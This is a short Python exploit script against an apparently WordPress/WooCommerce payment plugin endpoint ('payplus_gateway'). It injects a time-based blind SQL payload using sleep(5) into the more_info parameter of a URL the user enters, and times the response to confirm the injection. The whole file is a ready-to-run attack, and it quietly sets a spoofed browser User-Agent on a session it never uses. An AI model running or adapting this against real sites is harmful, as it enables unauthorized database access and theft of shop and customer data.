#!/usr/bin/env python3.11 import requests import time def exploit(url): payload = {"wc-api": "payplus_gateway&status_code=true&more_info=(select*from(select(sleep(5)))a)"} start = time.time() with requests.Session() as session: session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3' }) response = requests.get(url, params=payload) print(f"Exploiting {url}...") end = time.time() print(response.status_code) response_time = end - start print(f"Response time: {response_time}...") if __name__ == "__main__": url = input("Enter the vulnerable URL (e.g., https://test.site): ") if not url.startswith("http"): url = "http://" + url exploit(url)